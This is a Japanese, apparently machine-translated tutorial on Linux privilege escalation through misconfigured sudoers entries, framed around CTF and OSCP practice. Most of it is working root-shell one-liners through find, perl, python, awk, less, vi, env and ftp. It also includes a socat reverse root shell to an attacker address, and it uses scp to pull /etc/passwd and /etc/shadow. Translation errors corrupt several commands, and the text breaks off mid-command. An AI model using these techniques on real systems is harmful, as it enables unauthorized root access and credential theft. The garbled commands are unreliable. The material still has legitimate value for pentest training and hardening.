0x00はじめに
以前の記事では、suidバイナリファイルおよび /etc /etcwdファイルをLinux Permissions Enhancement Techniqueに使用する方法について説明しました。今日、別の「sudoersファイルを使用したLinux許可プロンプトのヒント」をリリースしました。 CTFの課題を解決するとき、許可のエスカレーションのために、sudo -lコマンドを実行して、任意のユーザーのルートアクセス許可を常に確認します。許可の強化のためにこの手法を適用した以前の記事を読むことができます。
0x01 sudoer basics
1。基本概念
Linux /unixでは、 /etcディレクトリの下のsudoersファイルはsudo許可を持つ構成ファイルです。私たちは皆、Sudoコマンドの力を知っています。Sudoという言葉はスーパーユーザーの許可を表しています。 Sudoersファイルは、ルート特権を持つユーザーとグループを保存するファイルであり、ルートまたは他のユーザーとして一部またはすべてのコマンドを実行します。以下の写真をご覧ください:
sudoでコマンドを実行するときは、ルート許可を実行する必要があり、LinuxはSudoersファイルの特定のユーザー名をチェックします。また、特定のユーザー名がSudoersファイルリストにあるかどうか、そうでない場合は、sudoコマンドを使用してコマンドまたはプログラムを実行することはできません。 Sudo許可によると、ルートユーザーはすべての端末から実行し、すべてのユーザーとして行動し、すべてのグループとして機能し、Allコマンドを実行できます。
2.Sudoerファイルの構文
(rootユーザー)が特定のユーザーにsudo許可を付与したい場合、bisudoコマンドを入力して、編集用のsudoersファイルを開きます。ユーザー許可仕様には、デフォルトのルート許可が表示されます。「root all=(all:all)all」が表示されますが、実際には、以下の図に示すように、オプションであるタグオプションも提供されます。
次の例を考慮して、ユーザーRaazにsudoアクセス許可を割り当て、raazが端末にアクセスし、ルートアクセス許可を使用してコピーコマンドを実行します。ここにはパスワードタグがありません。つまり、ユーザーにパスワードが要求されないことを意味します。
注:(すべて:すべて)は(すべて)として表現できます
代わりに(root)を見つけた場合(すべて:すべて)、それはユーザーがrootとしてコマンドを実行できることを意味します
ユーザーやグループが言及されていない場合、sudoはデフォルトでrootユーザーになります
実際の状況をより深く理解しましょう。まず、Sudoグループに属さないユーザーを作成します。ここでは、1002のUIDと1002のGIDを持っているユーザー「Raaz」を追加しました。
0x02ルート許可を割り当てるメソッド
1。ルート許可を割り当てる従来の方法
システム管理者がユーザーRAAZにすべてのアクセス許可を与えたい場合、以下の手順に従ってユーザーの許可仕様カテゴリの下にユーザーRAAZを追加できます。
Visudo
raaz all=(all:all)すべて
または
raazすべて=(すべて)すべて
一方、
(1)ルートアクセスを生成
攻撃ホストを起動し、最初にターゲットシステムを攻撃し、次に特権エスカレーション段階に入ります。 SSHを介して被害者のホストに正常にログインし、現在のユーザーのsudo許可を知り、次のコマンドを実行したいとします
sudo -l
従来の方法では、PassWDオプションは、上記のコマンドの実行中にユーザー認証を有効にし、NOPASSWDオプションを使用して無効にすることができます。強調表示されたテキストは、現在のユーザーが実行する権限があるというすべてのコマンドを示します。したがって、コマンドを実行することにより、ルートアクセスを取得します。
sudo su
id
2。ルート権限を割り当てるためのデフォルトの方法
システム管理者がユーザーRAAZにすべてのコマンドとプログラムを実行するためにルートアクセス許可を付与したい場合、以下の手順に従ってユーザー許可仕様カテゴリの下にユーザーRAAZを追加できます。
Visudo
raaz all=all
または
raaz all=(root)all
デフォルトのPassWDオプションは、認証のためにここでも有効になっています。
(1)。ルートアクセスを生成
ターゲットシステムをもう一度攻撃し、上記の手順に従って許可エスカレーション段階を入力し、次のコマンドを実行してsudoユーザーリストを表示します
sudo -l
ここでは、ユーザーRaazがすべてのコマンドをrootとして実行できることを意味する強調表示されたテキストを見ることができます。したがって、より多くのダウンリンクステップを実行することでルートアクセスを実装できます
Sudosu
または
sudobash
注:SUDO-Lコマンドを実行する場合、上記の両方のメソッドは、PassWDオプションがデフォルトで有効になっているため、ユーザーパスワードを認証する必要があります。
0x03パワーアップスキル
1。バイナリコマンドのルートアクセス許可を許可します
ユーザーが、/bin/cp、/bin/cat、または/usr/bin/findなどの特定のディレクトリ内のファイルまたはコマンドを実行する権利を持つ場合があります。このタイプの許可は、ルート許可の特権エスカレーションにつながります。これは、次のステップで達成できます。
raaz all=(root)nopasswd:/usr/bin/find
注:ここでのnopasswdオプションは、sudo -lコマンドを実行するときにパスワードが認証を要求されないことを意味します。
(1)findコマンドを使用してルートアクセスを生成
被害者のシステムを再度攻撃し、特権エスカレーションフェーズに入ります。次のコマンドを実行して、sudoユーザーリストを表示します。
sudo-l
この時点で、強調表示されたテキストは、ユーザーRAAZがFindコマンドを介して任意のコマンドを実行できることを意味することに気付くことができます。したがって、次のコマンドを実行することにより、ルートアクセスを取得します。
sudofind/home-exec/bin/bash \;
id
2。バイナリプログラムのルート許可を許可
時々、管理者は特定のユーザーに詳細なユーザーに、ユーザーが /etc /passwdなどのシステムファイルを編集できるバイナリプログラムを実行するために、ユーザーに承認された場合、ユーザーに承認された場合、一部のバイナリプログラムは特権エスカレートにつながる可能性があります。以下のコマンドでは、rootユーザーとして実行できる次のプログラムにsudo許可を割り当てます。 raaz all=(root)nopasswd:/usr/bin/perl、/usr/bin/python、/usr/bin/less、/usr/bin/awk、/usr/bin/man、/usr/bin/vi
(1)Perl単一コマンドを使用してシェルを生成
特権のエスカレーションが実行されたら、特権エスカレーションフェーズ中に次のコマンドを実行して、SUDOユーザーリストを表示します。
sudo -l
これで、ユーザーRaazがPerl言語プログラムまたはスクリプトをルートとして実行できることを示す強調表示されたテキストを見ることができます。したがって、Perlシングルコマンドを実行することにより、ルートアクセスを取得します。
sudo perl -e 'exec'/bin/bash ';'
id
(2)Pythonシングルコマンドを使用してシェルを生成
ターゲットシステムを攻撃した後、上記のように特権エスカレーションフェーズに入り、次のコマンドを実行してSUDOユーザーリストを表示します
sudo -l
この時点で、ユーザーRaazがPython言語プログラムまたはスクリプトをルートとして実行できることを示す強調表示されたテキストを見ることができます。したがって、単一のPythonコマンドを実行することにより、ルートアクセスを取得します。
sudo python -c 'インポートpty; pty.spawn('/bin/bash ')'
id
(3)少ないコマンドを使用してシェルを生成
特権のエスカレーションが実行されたら、特権エスカレーションフェーズ中に次のコマンドを実行して、SUDOユーザーリストを表示します。
sudo -l
ここでは、ユーザーRaazがLootとしてLess Commandを実行できることを意味する強調表示されたテキストを見ることができます。したがって、次のコマンドを実行することにより、ルートアクセスを取得します。
Sudo Less /etc /hosts
編集用に要求されたシステムファイルを開きますが、ルートシェルを生成するには、エディターを入力してEnterを押して生成します。
次の図に示すように、ルートアクセスが得られます。
(4)awk単一コマンドを使用してシェルを生成します
被害者システムを攻撃した後、ターゲットシステムは上記のように特権エスカレーション段階に入り、次のコマンドを実行してSUDOユーザーリストを表示します
sudo -l
この段階では、ユーザーRaazがawkコマンドをrootとして実行できることを意味する強調表示されたテキストを見ることができます。したがって、次のコマンドを実行することにより、ルートアクセスを取得します。
sudo awk 'begin {system('/bin/bash ')}'
id
(5)Manコマンドを使用してシェルを生成
特権のエスカレーションが実行されたら、特権エスカレーションフェーズ中に次のコマンドを実行して、SUDOユーザーリストを表示します。
sudo -l
ここでは、ユーザーRaazがrootユーザーとしてManコマンドを実行できることを意味する強調表示されたテキストを見ることができます。したがって、次のコマンドを実行することにより、ルートアクセスを取得します。
sudo man
編集用に要求されたシステムファイルを開きますが、ルートシェルを生成するには、エディターを入力してEnterを押して生成します。
次の図に示すように、ルートアクセスが得られます。
(6)VIエディターを使用してシェルを生成
特権のエスカレーションが実行されたら、特権エスカレーションフェーズ中に次のコマンドを実行して、SUDOユーザーリストを表示します。
sudo -l
ここでは、ユーザーRaazがRootユーザーとしてVIコマンドを実行できることを意味する強調表示されたテキストを見ることができます。したがって、次のコマンドを実行することにより、ルートアクセスを取得します。
sudo vi
したがって、編集のためにVIエディターを開きますが、ルートシェルを生成するには、エディターを入力してEnterを押して生成します。上記のようなルートアクセス許可を取得するには、コマンド以下を使用できます。
次の図に示すように、ルートアクセスが得られます。
id
おっと
注:NANO、MAN、VI、およびMan's Sudoへの許可は、ユーザーがシステムファイルを編集し、許可エスカレーションにつながるため、非常に危険です。
3
システムまたはプログラムの呼び出しについては、あらゆる種類のスクリプト(BASH、PHP、Python、またはC言語スクリプト)の許可を昇格させる最大の機会があります。実行時にバッシュシェルを提供するスクリプトにsudo許可をsudo許可を与えたいと仮定します。
たとえば、実行時にルートコマンド端子を提供するスクリプトがいくつかあります。以下の図では、さまざまなプログラミング言語を使用してBIN/スクリプトに3つのファイルすべてを保存して、バッシュシェルを取得する3つのプログラムを作成したことがわかります。 3つのファイルは、asroot.py、asroot.sh、asroot.c(コンパイルファイルシェル)です。
注:OSCPの課題を解決する場合、一部のスクリプトは著者によって隠され、カーネルまたはルートシェルを活用するために使用され、特定のユーザーがスクリプトを実行するためにsudo許可を設定することがわかります。
次のコマンドの助けを借りて、sudoersファイルを編集して、Raazが上記のすべてのスクリプトをルートユーザーとして実行できるようにします。
raaz all=(root)nopasswd:/bin/script/asroot.sh、/bin/script/asroot.py、/bin/script/shell
(1)bashスクリプトを実行してルートシェルを生成
SUDOユーザーリストを表示するには、次の許可標高コマンドを実行します。
sudo -l
強調表示されたテキストは、ユーザーRaazがrootユーザーとしてasroot.shを実行できることを示しています。したがって、asroot.shスクリプトを実行することにより、ルートアクセスを取得します。
sudo /bin/script/asroot.sh
id
(2)pythonスクリプトを実行してルートシェルを生成
次の許可標高コマンドを実行して、sudoユーザーリストを表示します
sudo -l
この時点で、強調表示されたテキストは、ユーザーRaazがrootユーザーとしてasroot.pyを実行できることを示しています。したがって、次のスクリプトを実行することにより、ルートアクセスを取得しました。
sudo /bin/script/asroot.py
id
(3)Cスクリプトを実行してルートシェルを生成
ターゲットシステムを攻撃した後、次の許可エスカレーションコマンドを実行してSUDOユーザーリストを表示します。
sudo -l
ここでは、ユーザーRaazがroot(asroot.cコンパイルされたファイル)としてシェルを実行できることを示す強調表示されたテキストを見ることができます。そのため、次のシェルを実行することでルートアクセスを獲得します。
sudo/bin/script/shell
id
4。他のプログラムにsudo許可を許可します
上記のように、sudo許可を持ついくつかのバイナリプログラムは、ルートアクセスを得るのに役立ちます。しかし、それに加えて、FTPやSOCATなどのsudo許可がある場合、ルートアクセスで存続できるアプリケーションがいくつかあります。以下のコマンドでは、rootユーザーとして実行できる次のプログラムにsudo許可を割り当てます。
raaz all=(all)nopasswd:/usr/bin/env、/usr/bin/ftp、/usr/bin/scp、/usr/bin/socp、/usr/bin/socat
(1)環境を使用してシェルを生成
許可エスカレーションフェーズでは、次のコマンドを実行してSUDOユーザーリストを表示します。
sudo -l
ご覧のとおり、RaazにはENV、FTP、SCP、SOCATへのSUDO許可があります。ルートアクセスを1つずつ紹介してみましょう。
sudo env /bin /bash
おっと
(2)FTPを使用してシェルを生成
次のコマンドを使用して、FTP経由でルートアクセスを取得してみましょう。
sudo ftp
! /bin/bash
おっと
または
! /bin/sh
id
おっと
(3)socat
を使用してシェルを生成しますここで、SOCATを介して次のコマンドの助けを借りてルートアクセスを取得してみましょう。攻撃者の端末で次のコマンドを実行して、リスナーが逆の接続を作成できるようにします。
socat file:`tty`、raw、echo=0 tcp-listen:1234
次に、被害者のホストで次のコマンドを実行すると、攻撃者のコンピューターにルートアクセスが表示されます。
sudo socat exec:'sh -li '、pty、stderr、setsid、sigint、SANE TCP:192.168.1.105:1234
(4)SCP
を介してシェルを生成します私たちが知っているように、SUDO許可はSCPで利用可能ですが、地元のホストとリモートホストの間でファイルを安全に移動する方法であるため、上記のようにBash Shellディレクトリを取得することはできません。したがって、それを使用して、/etc/passwdや/etc/etc/shadowファイルなどの読み取り/書き込み操作を実行するためにルートアクセスを必要とするシステムファイルを転送できます。
構文:scp sourcefile user@host:〜/ディレクトリパス
sudo scp /etc /passw
Recommended Comments